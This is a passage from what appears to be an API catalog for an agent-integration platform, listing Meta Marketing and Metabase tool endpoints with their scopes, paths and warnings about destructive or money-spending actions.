spend. GET /api/v1/tools/meta-marketing/reach-frequency-predictions. Scopes: ads_read. meta_marketing_list_saved_audiences (read) — The saved TARGETING definitions on this account — reusable targeting specs, not lists of people. Different objects from custom audiences, and their ids go in a different place in a targeting spec. GET /api/v1/tools/meta-marketing/saved-audiences. Scopes: ads_read. meta_marketing_list_system_user_assigned_ad_accounts (read) — Which ad accounts one system user can act on, and with which tasks. This is the exact answer to 'what can the token this connection is using actually reach' when the connection is a pasted System User token. GET /api/v1/tools/meta-marketing/system-user-assigned-ad-accounts. Scopes: business_management. meta_marketing_pause_ad (write, destructive) — DESTRUCTIVE — stop delivery on one ad. The inverse of activate_ad, shipped in the same migration, and the fastest way to take a bad creative down. Reversible with activate_ad, but it takes a live ad off the air. POST /api/v1/tools/meta-marketing/pause-ad. Scopes: ads_management. meta_marketing_pause_ad_set (write, destructive) — DESTRUCTIVE — stop delivery on one ad set. The inverse of activate_ad_set, shipped in the same migration. Reversible with activate_ad_set and it costs nothing, but it takes a live ad set off the air. POST /api/v1/tools/meta-marketing/pause-ad-set. Scopes: ads_management. meta_marketing_pause_campaign (write, destructive) — DESTRUCTIVE — stop delivery on a campaign and every ad set under it. The inverse of activate_campaign, shipped in the same migration. Pausing costs nothing and is reversible with activate_campaign, but it takes a live campaign off the air: reach stops, and any spend pacing a human was depending on stops with it. Stops a campaign delivering. Reversible with activate_campaign. POST /api/v1/tools/meta-marketing/pause-campaign. Scopes: ads_management. meta_marketing_remove_users_from_custom_audience (write, destructive) — DESTRUCTIVE — the inverse of add_users_to_custom_audience, shipped in the same migration: remove records from an audience so ads stop targeting them. Same hashing rule and same validation — every value must already be a SHA-256 digest. This is the action a suppression request needs. Meta publishes no way to read an audience's membership back, so what this removes cannot be listed afterwards and can only be restored from the source records the caller still holds. POST /api/v1/tools/meta-marketing/remove-audience-users. Scopes: ads_management. meta_marketing_replace_custom_audience_users (write, destructive) — DESTRUCTIVE — replace an audience's ENTIRE membership with the records supplied. Everyone currently in the audience who is not in this upload is removed, and Meta will not put them back: the previous membership is gone. This is the nightly-sync operation, and it is the one most likely to empty an audience by accident — an upload that matches nothing leaves the audience with nothing. Same hashing rule as add_users_to_custom_audience, validated the same way. Use add_users_to_custom_audience unless you genuinely mean to discard the existing list. Discards an audience's existing membership. A failed match rate leaves the audience empty and the previous list is not recoverable. POST /api/v1/tools/meta-marketing/replace-audience-users. Scopes: ads_management. meta_marketing_search_targeting_interests (read) — Search ONE of Meta's targeting taxonomies and get back each option's id, name and audience size. THE discovery step: a targeting spec's flexible_spec, geo_locations, locales, work_positions and education fields reference these ids and there is no other way to obtain one. type IS REQUIRED AND IT SELECTS THE TAXONOMY — adinterest for interests, adgeolocation for countries/regions/cities/zips, adlocale for languages, adworkposition for job titles, adworkemployer for companies, adeducationschool and adeducationmajor for education, adTargetingCategory to list a whole class such as behaviors. The ids of two taxonomies are NOT interchangeable, so a qualifier that belongs to a different taxonomy is refused rather than ignored. Read-only. It produces the ids create_ad_set's targeting spec needs. It is not scoped to one ad account: Meta's taxonomy search is global, so this reads Meta's catalog rather than any customer's data. POST /api/v1/tools/meta-marketing/search-targeting. Scopes: ads_read. meta_marketing_send_conversions_api_events (write, destructive) — DESTRUCTIVE — send server-side conversion events to a Meta Pixel. These events train Meta's optimisation, feed attribution and populate audiences, and THEY CANNOT BE DELETED: Meta publishes no endpoint that removes an event once received, so a wrong or duplicated batch permanently distorts the account's reporting and the models bidding on its behalf. EVERY user_data FIELD META REQUIRES HASHED MUST ALREADY BE SHA-256 (em, ph, fn, ln, ge, db, ct, st, zp, country); Agentic Fabriq validates it and refuses the call otherwise. client_ip_address, client_user_agent, fbc, fbp, subscription_id and lead_id are sent unhashed, as Meta specifies. Set test_event_code first and watch the events arrive in Events Manager before sending a production batch. Writes data that cannot be removed and that changes how Meta spends this account's budget. Agentic Fabriq refuses any unhashed value in a field Meta requires hashed. POST /api/v1/tools/meta-marketing/send-conversions-api-events. Scopes: ads_management. meta_marketing_set_ad_set_bid (write, destructive) — DESTRUCTIVE — change the bid cap or cost cap on an ad set. bid_amount is in the account's MINOR currency unit and is required. Raising a bid does not raise the budget, but it does raise the price paid per result, so the same budget buys less; moving to LOWEST_COST_WITHOUT_CAP removes the price ceiling entirely. Check the account's ceiling with get_ad_account_max_bid. Spends real money. It changes the price Meta pays for each result on this ad set. POST /api/v1/tools/meta-marketing/set-ad-set-bid. Scopes: ads_management. meta_marketing_set_ad_set_budget (write, destructive) — DESTRUCTIVE — change how much money this ad set may spend. Exactly one of daily_budget or lifetime_budget is required, in the ad account's MINOR currency unit. A raised daily budget is spent the same day. Check the floor with get_ad_account_minimum_budgets: a value below it is refused by Meta with an error that does not name the minimum. Spends real money. Granting it lets an agent raise an ad set budget without a human in the loop. POST /api/v1/tools/meta-marketing/set-ad-set-budget. Scopes: ads_management. meta_marketing_set_campaign_bid_strategy (write, destructive) — DESTRUCTIVE — change how Meta bids for this campaign. Moving to LOWEST_COST_WITHOUT_CAP removes the per-result price ceiling, so the same budget is spent at whatever CPM the auction asks. Requires a bid_cap when the strategy names one. Spends real money. It changes the price Meta is willing to pay for each result. POST /api/v1/tools/meta-marketing/set-campaign-bid-strategy. Scopes: ads_management. meta_marketing_set_campaign_budget (write, destructive) — DESTRUCTIVE — change how much money this campaign may spend. Exactly one of daily_budget or lifetime_budget is required, in the ad account's MINOR currency unit (2500 = $25.00 on a USD account); there is no code path here that changes a budget without a number in it. Raising a daily budget takes effect immediately and the extra money is spent the same day. Read the current value with get_campaign and the floor with get_ad_account_minimum_budgets first. Spends real money. Granting it lets an agent raise a campaign budget without a human in the loop. POST /api/v1/tools/meta-marketing/set-campaign-budget. Scopes: ads_management. meta_marketing_set_campaign_spend_cap (write, destructive) — DESTRUCTIVE — set the hard lifetime ceiling on this campaign's spend, in the ad account's minor currency unit. Meta stops delivery when the cap is reached. Lowering it is a safety measure; RAISING it is the single change that most directly increases how much money can leave the account, which is why it is granted separately and confirm-gated. Passing remove_spend_cap removes the ceiling entirely and is refused. Spends real money. Raising a spend cap raises the maximum this campaign can ever cost. POST /api/v1/tools/meta-marketing/set-campaign-spend-cap. Scopes: ads_management. meta_marketing_start_ad_account_insights_report (read) — Submit an insights query as an ASYNCHRONOUS report and get back a report_run_id. This is the right shape for anything large: a long window, ad-level rows across a whole account, or several breakdowns at once — a synchronous call for that either times out or is rate-limited away. Poll with get_insights_report_status until async_status is 'Job Completed', then read the rows with get_insights_report_results. A report_run_id expires after 30 days. POST /api/v1/tools/meta-marketing/start-ad-account-insights-report. Scopes: ads_read. meta_marketing_start_ad_insights_report (read) — Submit an asynchronous insights report for one ad. Returns a report_run_id. POST /api/v1/tools/meta-marketing/start-ad-insights-report. Scopes: ads_read. meta_marketing_start_ad_set_insights_report (read) — Submit an asynchronous insights report for one ad set. Returns a report_run_id. POST /api/v1/tools/meta-marketing/start-ad-set-insights-report. Scopes: ads_read. meta_marketing_start_campaign_insights_report (read) — Submit an asynchronous insights report for one campaign. Returns a report_run_id. POST /api/v1/tools/meta-marketing/start-campaign-insights-report. Scopes: ads_read. meta_marketing_stop_sharing_audience_with_ad_account (write, destructive) — DESTRUCTIVE — revoke another ad account's access to this audience. It ships WITHOUT its opposite: Agentic Fabriq exposes no action that shares an audience with an account, because the recipient would be chosen by the agent (E5). Removal is exposed because it is the remediation — it is how an audience built from a customer list stops being reachable by an agency that should no longer have it. Read the current list with list_custom_audience_ad_accounts first. POST /api/v1/tools/meta-marketing/stop-sharing-audience. Scopes: ads_management. meta_marketing_stop_sharing_pixel_with_ad_account (write, destructive) — DESTRUCTIVE — revoke another ad account's access to this pixel. It ships WITHOUT its opposite: Agentic Fabriq exposes no action that shares a pixel, because the recipient would be agent-chosen (E5). Removal is exposed because it is the remediation. The other account immediately loses the ability to build audiences from this pixel; audiences it already built keep working. POST /api/v1/tools/meta-marketing/stop-sharing-pixel. Scopes: business_management. meta_marketing_unarchive_ad (write) — Return an archived ad to PAUSED. The inverse of archive_ad. It does not start delivery. POST /api/v1/tools/meta-marketing/unarchive-ad. Scopes: ads_management. meta_marketing_unarchive_ad_set (write) — Return an archived ad set to PAUSED so it can be edited again. The inverse of archive_ad_set. It does not start delivery. POST /api/v1/tools/meta-marketing/unarchive-ad-set. Scopes: ads_management. meta_marketing_unarchive_campaign (write) — Return an archived campaign to PAUSED so it can be edited again. The inverse of archive_campaign. It does NOT start delivery — that is activate_campaign. POST /api/v1/tools/meta-marketing/unarchive-campaign. Scopes: ads_management. meta_marketing_update_ad (write) — Rename an ad, point it at a different creative, or change its tracking. Status is NOT reachable here — activate_ad, pause_ad and archive_ad are separate, confirm-gated actions. POST /api/v1/tools/meta-marketing/update-ad. Scopes: ads_management. meta_marketing_update_ad_creative (write) — Rename a creative or change its URL tags. NOTE: Meta makes a creative's body largely immutable once ads reference it — to change the copy or the image, create a new creative and point the ad at it with update_ad. POST /api/v1/tools/meta-marketing/update-ad-creative. Scopes: ads_management. meta_marketing_update_ad_label (write) — Rename an ad label. Every object carrying it keeps carrying it. POST /api/v1/tools/meta-marketing/update-ad-label. Scopes: ads_management. meta_marketing_update_ad_set (write) — Change an ad set's name, schedule, targeting, optimisation or frequency caps. Budget, bid and status are NOT reachable here — each is a separate, confirm-gated action. Replacing the targeting spec REPLACES it wholesale rather than merging, so read the current spec with get_ad_set first. POST /api/v1/tools/meta-marketing/update-ad-set. Scopes: ads_management. meta_marketing_update_campaign (write) — Rename a campaign or change its non-monetary settings. Budget, spend cap, bid strategy and status are NOT reachable here — each has its own action, because on Meta the dangerous argument and the harmless one sit behind the same endpoint. POST /api/v1/tools/meta-marketing/update-campaign. Scopes: ads_management. meta_marketing_update_custom_audience (write) — Rename an audience, change its description or change its retention window. NOTE: shortening retention_days DROPS people who matched outside the new window, and Meta will not put them back — the audience has to refill over time. POST /api/v1/tools/meta-marketing/update-custom-audience. Scopes: ads_management. meta_marketing_update_custom_conversion (write) — Rename a custom conversion or change its default value. NOTE: changing the value changes the ROAS every ad set optimising toward it is bidding on. POST /api/v1/tools/meta-marketing/update-custom-conversion. Scopes: ads_management. meta_marketing_update_pixel (write) — Rename a pixel, or change its first-party-cookie and automatic-matching settings. POST /api/v1/tools/meta-marketing/update-pixel. Scopes: ads_management. meta_marketing_update_product_set (write) — Rename a product set or replace its filter. NOTE: changing the filter changes what every live dynamic ad using this set shows, immediately, with no review step. POST /api/v1/tools/meta-marketing/update-product-set. Scopes: catalog_management. meta_marketing_validate_targeting (read) — Check INDIVIDUAL TARGETING OPTIONS — interests, behaviours, demographics — against Meta's rules WITHOUT creating anything. Each item is one option: {'type':'interests','id':'6003107902433'} or {'type':'interests','name':'Coffee'}, the shape search_targeting_interests and get_targeting_suggestions return. Use it to find out whether an option is deprecated, unavailable under a special ad category, or no longer offered at all. THIS DOES NOT VALIDATE A WHOLE TARGETING SPEC: hand it a spec object and Meta answers {'valid': false} with no reason given. To check a complete spec before create_ad_set or update_ad_set, use describe_targeting_in_words, get_reach_estimate or get_delivery_estimate. Nothing is created and no money is spent. Read-only and creates nothing. Checks named targeting options, not whole specs. POST /api/v1/tools/meta-marketing/validate-targeting. Scopes: ads_read. ================================================================================ ## Metabase URL: https://www.agenticfabriq.com/integrations/metabase Section: Integrated Tools Metabase — 511 MCP tools Provider key: metabase. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. metabase_delete_api_action_by_action_id (write, destructive) — Delete action via DELETE /api/action/{action-id} DELETE /api/v1/metabase/api/action/{action_id}. Scopes: api. metabase_delete_api_action_by_id_public_link (write, destructive) — Delete action public link via DELETE /api/action/{id}/public_link DELETE /api/v1/metabase/api/action/{id}/public_link. Scopes: api. metabase_delete_api_alert_by_id_subscription (write, destructive) — Delete alert subscription via DELETE /api/alert/{id}/subscription DELETE /api/v1/metabase/api/alert/{id}/subscription. Scopes: api. metabase_delete_api_api_key_by_id (write, destructive) — Delete key via DELETE /api/api-key/{id} DELETE /api/v1/metabase/api/api-key/{id}. Scopes: api. metabase_delete_api_bookmark_by_model_by_id (write, destructive) — Delete bookmark via DELETE /api/bookmark/{model}/{id} DELETE /api/v1/metabase/api/bookmark/{model}/{id}. Scopes: api. metabase_delete_api_cache (write, destructive) — Delete cache via DELETE /api/cache DELETE /api/v1/metabase/api/cache. Scopes: api. metabase_delete_api_card_by_card_id_public_link (write, destructive) — Delete card public link via DELETE /api/card/{card-id}/public_link DELETE /api/v1/metabase/api/card/{card_id}/public_link. Scopes: api. metabase_delete_api_card_by_id (write, destructive) — Delete card via DELETE /api/card/{id} DELETE /api/v1/metabase/api/card/{id}. Scopes: api. metabase_delete_api_collection_by_id (write, destructive) — Delete collection via DELETE /api/collection/{id} DELETE /api/v1/metabase/api/collection/{id}. Scopes: api. metabase_delete_api_comment_by_comment_id (write, destructive) — Delete comment via DELETE /api/comment/{comment-id} DELETE /api/v1/metabase/api/comment/{comment_id}. Scopes: api. metabase_delete_api_dashboard_by_dashboard_id_public_link (write, destructive) — Delete dashboard public link via DELETE /api/dashboard/{dashboard-id}/public_link DELETE /api/v1/metabase/api/dashboard/{dashboard_id}/public_link. Scopes: api. metabase_delete_api_dashboard_by_id (write, destructive) — Delete dashboard via DELETE /api/dashboard/{id} DELETE /api/v1/metabase/api/dashboard/{id}. Scopes: api. metabase_delete_api_database_by_id (write, destructive) — Delete database via DELETE /api/database/{id} DELETE /api/v1/metabase/api/database/{id}. Scopes: api. metabase_delete_api_document_by_document_id (write, destructive) — Delete document via DELETE /api/document/{document-id} DELETE /api/v1/metabase/api/document/{document_id}. Scopes: api. metabase_delete_api_document_by_document_id_public_link (write, destructive) — Delete document public link via DELETE /api/document/{document-id}/public-link DELETE /api/v1/metabase/api/document/{document_id}/public-link. Scopes: api. metabase_delete_api_email (write, destructive) — Delete email via DELETE /api/email DELETE /api/v1/metabase/api/email. Scopes: api. metabase_delete_api_embed_theme_by_id (write, destructive) — Delete embed theme via DELETE /api/embed-theme/{id} DELETE /api/v1/metabase/api/embed-theme/{id}. Scopes: api. metabase_delete_api_field_by_id_dimension (write, destructive) — Delete field dimension via DELETE /api/field/{id}/dimension DELETE /api/v1/metabase/api/field/{id}/dimension. Scopes: api. metabase_delete_api_glossary_by_id (write, destructive) — Delete glossary via DELETE /api/glossary/{id} DELETE /api/v1/metabase/api/glossary/{id}. Scopes: api. metabase_delete_api_logger_adjustment (write, destructive) — Delete logger adjustment via DELETE /api/logger/adjustment DELETE /api/v1/metabase/api/logger/adjustment. Scopes: api. metabase_delete_api_metabot_metabot_by_id_prompt_suggestions (write, destructive) — Delete metabot metabot prompt suggestions via DELETE /api/metabot/metabot/{id}/prompt-suggestions DELETE /api/v1/metabase/api/metabot/metabot/{id}/prompt-suggestions. Scopes: api. metabase_delete_api_metabot_metabot_by_id_prompt_suggestions_by_prompt_id (write, destructive) — Delete metabot metabot id prompt suggestions prompt via DELETE /api/metabot/metabot/{id}/prompt-suggestions/{prompt-id} DELETE /api/v1/metabase/api/metabot/metabot/{id}/prompt-suggestions/{prompt_id}. Scopes: api. metabase_delete_api_model_index_by_id (write, destructive) — Delete model index via DELETE /api/model-index/{id} DELETE /api/v1/metabase/api/model-index/{id}. Scopes: api. metabase_delete_api_mt_gtap_by_id (write, destructive) — Delete mt gtap via DELETE /api/mt/gtap/{id} DELETE /api/v1/metabase/api/mt/gtap/{id}. Scopes: api. metabase_delete_api_osi_ai_context_by_entity_type_by_entity_local_id (write, destructive) — Delete osi ai context via DELETE /api/osi/ai-context/{entity-type}/{entity-local-id} DELETE /api/v1/metabase/api/osi/ai-context/{entity_type}/{entity_local_id}. Scopes: api. metabase_delete_api_permissions_group_by_group_id (write, destructive) — Delete permissions group via DELETE /api/permissions/group/{group-id} DELETE /api/v1/metabase/api/permissions/group/{group_id}. Scopes: api. metabase_delete_api_permissions_membership_by_id (write, destructive) — Delete permissions membership via DELETE /api/permissions/membership/{id} DELETE /api/v1/metabase/api/permissions/membership/{id}. Scopes: api. metabase_delete_api_pulse_by_id_subscription (write, destructive) — Delete pulse subscription via DELETE /api/pulse/{id}/subscription DELETE /api/v1/metabase/api/pulse/{id}/subscription. Scopes: api. metabase_delete_api_segment_by_id (write, destructive) — Delete segment via DELETE /api/segment/{id} DELETE /api/v1/metabase/api/segment/{id}. Scopes: api. metabase_delete_api_session (write, destructive) — Delete session via DELETE /api/session DELETE /api/v1/metabase/api/session. Scopes: api. metabase_delete_api_timeline_by_id (write, destructive) — Delete timeline via DELETE /api/timeline/{id} DELETE /api/v1/metabase/api/timeline/{id}. Scopes: api. metabase_delete_api_timeline_event_by_id (write, destructive) — Delete timeline event via DELETE /api/timeline-event/{id} DELETE /api/v1/metabase/api/timeline-event/{id}. Scopes: api. metabase_delete_api_transform_by_id (write, destructive) — Delete transform via DELETE /api/transform/{id} DELETE /api/v1/metabase/api/transform/{id}. Scopes: api. metabase_delete_api_transform_by_id_table (write, destructive) — Delete transform table via DELETE /api/transform/{id}/table DELETE /api/v1/metabase/api/transform/{id}/table. Scopes: api. metabase_delete_api_transform_job_by_job_id (write, destructive) — Delete transform job via DELETE /api/transform-job/{job-id} DELETE /api/v1/metabase/api/transform-job/{job_id}. Scopes: api. metabase_delete_api_transform_tag_by_tag_id (write, destructive) — Delete transform tag via DELETE /api/transform-tag/{tag-id} DELETE /api/v1/metabase/api/transform-tag/{tag_id}. Scopes: api. metabase_delete_api_user_by_id (write, destructive) — Delete user via DELETE /api/user/{id} DELETE /api/v1/metabase/api/user/{id}. Scopes: api. metabase_delete_api_user_key_value_namespace_by_namespace_key_by_key (write, destructive) — Delete user key value namespace key via DELETE /api/user-key-value/namespace/{namespace}/key/{key} DELETE /api/v1/metabase/api/user-key-value/namespace/{namespace}/key/{key}. Scopes: api. metabase_get_api_action (read) — Get action via GET /api/action GET /api/v1/metabase/api/action. Scopes: api. metabase_get_api_action_by_action_id (read) — Get action via GET /api/action/{action-id} GET /api/v1/metabase/api/action/{action_id}. Scopes: api. metabase_get_api_action_by_action_id_execute (read) — Get action execute via GET /api/action/{action-id}/execute GET /api/v1/metabase/api/action/{action_id}/execute. Scopes: api. metabase_get_api_action_public (read) — Get action public via GET /api/action/public GET /api/v1/metabase/api/action/public. Scopes: api. metabase_get_api_activity_most_recently_viewed_dashboard (read) — Get activity most recently viewed dashboard via GET /api/activity/most_recently_viewed_dashboard GET /api/v1/metabase/api/activity/most_recently_viewed_dashboard. Scopes: api. metabase_get_api_activity_popular_items (read) — Get activity popular items via GET /api/activity/popular_items GET /api/v1/metabase/api/activity/popular_items. Scopes: api. metabase_get_api_activity_recent_views (read) — Get activity recent views via GET /api/activity/recent_views GET /api/v1/metabase/api/activity/recent_views. Scopes: api. metabase_get_api_activity_recents (read) — Get activity recents via GET /api/activity/recents GET /api/v1/metabase/api/activity/recents. Scopes: api. metabase_get_api_agent_v1_metric_by_id (read) — Get agent v1 metric via GET /api/agent/v1/metric/{id} GET /api/v1/metabase/api/agent/v1/metric/{id}. Scopes: api. metabase_get_api_agent_v1_metric_by_id_field_by_field_id_values (read) — Get agent v1 metric id field field values via GET /api/agent/v1/metric/{id}/field/{field-id}/values GET /api/v1/metabase/api/agent/v1/metric/{id}/field/{field_id}/values. Scopes: api. metabase_get_api_agent_v1_ping (read) — Get agent v1 ping via GET /api/agent/v1/ping GET /api/v1/metabase/api/agent/v1/ping. Scopes: api. metabase_get_api_agent_v1_table_by_id (read) — Get agent v1 table via GET /api/agent/v1/table/{id} GET /api/v1/metabase/api/agent/v1/table/{id}. Scopes: api. metabase_get_api_agent_v1_table_by_id_field_by_field_id_values (read) — Get agent v1 table id field field values via GET /api/agent/v1/table/{id}/field/{field-id}/values GET /api/v1/metabase/api/agent/v1/table/{id}/field/{field_id}/values. Scopes: api. metabase_get_api_alert (read) — Get alert via GET /api/alert GET /api/v1/metabase/api/alert. Scopes: api. metabase_get_api_alert_by_id (read) — Get alert via GET /api/alert/{id} GET /api/v1/metabase/api/alert/{id}. Scopes: api. metabase_get_api_analytics_anonymous_stats (read) — Get analytics anonymous stats via GET /api/analytics/anonymous-stats GET /api/v1/metabase/api/analytics/anonymous-stats. Scopes: api. metabase_get_api_api_key (read) — Get key via GET /api/api-key GET /api/v1/metabase/api/api-key. Scopes: api. metabase_get_api_api_key_count (read) — Get key count via GET /api/api-key/count GET /api/v1/metabase/api/api-key/count. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query (read) — Get automagic dashboards via GET /api/automagic-dashboards/{entity}/{entity-id-or-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_cell_by_cell_query (read) — Get automagic dashboards cell via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/cell/{cell-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/cell/{cell_query}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_cell_by_cell_query_compare_by_comparison_entity_b_4e190a40 (read) — Get automagic dashboards entity cell compare comparison id or query via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/cell/{cell-query}/compare/{comparison-entity}/{comparison-entity-id-or-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/cell/{cell_query}/compare/{comparison_entity}/{comparison_entity_id_or_query}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_cell_by_cell_query_rule_by_prefix_by_dashboard_te_bed96b15 (read) — Get automagic dashboards entity cell rule compare comparison id or query via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/cell/{cell-query}/rule/{prefix}/{dashboard-template}/compare/{comparison-entity}/{comparison-entity-id-or-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/cell/{cell_query}/rule/{prefix}/{dashboard_template}/compare/{comparison_entity}/{comparison_entity_id_or_query}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_cell_by_cell_query_rule_by_prefix_by_dashboard_template (read) — Get automagic dashboards cell rule via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/cell/{cell-query}/rule/{prefix}/{dashboard-template} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/cell/{cell_query}/rule/{prefix}/{dashboard_template}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_compare_by_comparison_entity_by_comparison_entity_5a0450c0 (read) — Get automagic dashboards entity entity id or query compare comparison comparison via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/compare/{comparison-entity}/{comparison-entity-id-or-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/compare/{comparison_entity}/{comparison_entity_id_or_query}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_query_metadata (read) — Get automagic dashboards query metadata via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/query_metadata GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/query_metadata. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_rule_by_prefix_by_dashboard_template (read) — Get automagic dashboards rule via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/rule/{prefix}/{dashboard-template} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/rule/{prefix}/{dashboard_template}. Scopes: api. metabase_get_api_automagic_dashboards_by_entity_by_entity_id_or_query_rule_by_prefix_by_dashboard_template_compare_by_c_106ccc65 (read) — Get automagic dashboards entity rule compare comparison id or query via GET /api/automagic-dashboards/{entity}/{entity-id-or-query}/rule/{prefix}/{dashboard-template}/compare/{comparison-entity}/{comparison-entity-id-or-query} GET /api/v1/metabase/api/automagic-dashboards/{entity}/{entity_id_or_query}/rule/{prefix}/{dashboard_template}/compare/{comparison_entity}/{comparison_entity_id_or_query}. Scopes: api. metabase_get_api_automagic_dashboards_database_by_id_candidates (read) — Get automagic dashboards database candidates via GET /api/automagic-dashboards/database/{id}/candidates GET /api/v1/metabase/api/automagic-dashboards/database/{id}/candidates. Scopes: api. metabase_get_api_automagic_dashboards_model_index_by_model_index_id_primary_key_by_pk_id (read) — Get automagic dashboards model index primary key via GET /api/automagic-dashboards/model_index/{model-index-id}/primary_key/{pk-id} GET /api/v1/metabase/api/automagic-dashboards/model_index/{model_index_id}/primary_key/{pk_id}. Scopes: api. metabase_get_api_bookmark (read) — Get bookmark via GET /api/bookmark GET /api/v1/metabase/api/bookmark. Scopes: api. metabase_get_api_bug_reporting_connection_pool_details (read) — Get bug reporting connection pool details via GET /api/bug-reporting/connection-pool-details GET /api/v1/metabase/api/bug-reporting/connection-pool-details. Scopes: api. metabase_get_api_bug_reporting_details (read) — Get bug reporting details via GET /api/bug-reporting/details GET /api/v1/metabase/api/bug-reporting/details. Scopes: api. metabase_get_api_cache (read) — Get cache via GET /api/cache GET /api/v1/metabase/api/cache. Scopes: api. metabase_get_api_card (read) — Get card via GET /api/card GET /api/v1/metabase/api/card. Scopes: api. metabase_get_api_card_by_card_id_params_by_param_key_search_by_query (read) — Get card params search via GET /api/card/{card-id}/params/{param-key}/search/{query} GET /api/v1/metabase/api/card/{card_id}/params/{param_key}/search/{query}. Scopes: api. metabase_get_api_card_by_card_id_params_by_param_key_values (read) — Get card params values via GET /api/card/{card-id}/params/{param-key}/values GET /api/v1/metabase/api/card/{card_id}/params/{param_key}/values. Scopes: api. metabase_get_api_card_by_id (read) — Get card via GET /api/card/{id} GET /api/v1/metabase/api/card/{id}. Scopes: api. metabase_get_api_card_by_id_dashboards (read) — Get card dashboards via GET /api/card/{id}/dashboards GET /api/v1/metabase/api/card/{id}/dashboards. Scopes: api. metabase_get_api_card_by_id_params_by_param_key_remapping (read) — Get card params remapping via GET /api/card/{id}/params/{param-key}/remapping GET /api/v1/metabase/api/card/{id}/params/{param_key}/remapping. Scopes: api. metabase_get_api_card_by_id_query_metadata (read) — Get card query metadata via GET /api/card/{id}/query_metadata GET /api/v1/metabase/api/card/{id}/query_metadata. Scopes: api. metabase_get_api_card_by_id_series (read) — Get card series via GET /api/card/{id}/series GET /api/v1/metabase/api/card/{id}/series. Scopes: api. metabase_get_api_card_embeddable (read) — Get card embeddable via GET /api/card/embeddable GET /api/v1/metabase/api/card/embeddable. Scopes: api. metabase_get_api_card_public (read) — Get card public via GET /api/card/public GET /api/v1/metabase/api/card/public. Scopes: api. metabase_get_api_channel (read) — Get channel via GET /api/channel GET /api/v1/metabase/api/channel. Scopes: api. metabase_get_api_channel_by_id (read) — Get channel via GET /api/channel/{id} GET /api/v1/metabase/api/channel/{id}. Scopes: api. metabase_get_api_cloud_migration (read) — Get cloud migration via GET /api/cloud-migration GET /api/v1/metabase/api/cloud-migration. Scopes: api. metabase_get_api_collection (read) — Get collection via GET /api/collection GET /api/v1/metabase/api/collection. Scopes: api. metabase_get_api_collection_by_id (read) — Get collection via GET /api/collection/{id} GET /api/v1/metabase/api/collection/{id}. Scopes: api. metabase_get_api_collection_by_id_dashboard_question_candidates (read) — Get collection dashboard question candidates via GET /api/collection/{id}/dashboard-question-candidates GET /api/v1/metabase/api/collection/{id}/dashboard-question-candidates. Scopes: api. metabase_get_api_collection_by_id_items (read) — Get collection items via GET /api/collection/{id}/items GET /api/v1/metabase/api/collection/{id}/items. Scopes: api. metabase_get_api_collection_graph (read) — Get collection graph via GET /api/collection/graph GET /api/v1/metabase/api/collection/graph. Scopes: api. metabase_get_api_collection_root (read) — Get collection root via GET /api/collection/root GET /api/v1/metabase/api/collection/root. Scopes: api. metabase_get_api_collection_root_dashboard_question_candidates (read) — Get collection root dashboard question candidates via GET /api/collection/root/dashboard-question-candidates GET /api/v1/metabase/api/collection/root/dashboard-question-candidates. Scopes: api. metabase_get_api_collection_root_items (read) — Get collection root items via GET /api/collection/root/items GET /api/v1/metabase/api/collection/root/items. Scopes: api. metabase_get_api_collection_trash (read) — Get collection trash via GET /api/collection/trash GET /api/v1/metabase/api/collection/trash. Scopes: api. metabase_get_api_collection_tree (read) — Get collection tree via GET /api/collection/tree GET /api/v1/metabase/api/collection/tree. Scopes: api. metabase_get_api_comment (read) — Get comment via GET /api/comment GET /api/v1/metabase/api/comment. Scopes: api. metabase_get_api_comment_mentions (read) — Get comment mentions via GET /api/comment/mentions GET /api/v1/metabase/api/comment/mentions. Scopes: api. metabase_get_api_dashboard (read) — Get dashboard via GET /api/dashboard GET /api/v1/metabase/api/dashboard. Scopes: api. metabase_get_api_dashboard_by_dashboard_id_dashcard_by_dashcard_id_execute (read) — Get dashboard dashcard execute via GET /api/dashboard/{dashboard-id}/dashcard/{dashcard-id}/execute GET /api/v1/metabase/api/dashboard/{dashboard_id}/dashcard/{dashcard_id}/execute. Scopes: api. metabase_get_api_dashboard_by_id (read) — Get dashboard via GET /api/dashboard/{id} GET /api/v1/metabase/api/dashboard/{id}. Scopes: api. metabase_get_api_dashboard_by_id_items (read) — Get dashboard items via GET /api/dashboard/{id}/items GET /api/v1/metabase/api/dashboard/{id}/items. Scopes: api. metabase_get_api_dashboard_by_id_params_by_param_key_remapping (read) — Get dashboard params remapping via GET /api/dashboard/{id}/params/{param-key}/remapping GET /api/v1/metabase/api/dashboard/{id}/params/{param_key}/remapping. Scopes: api. 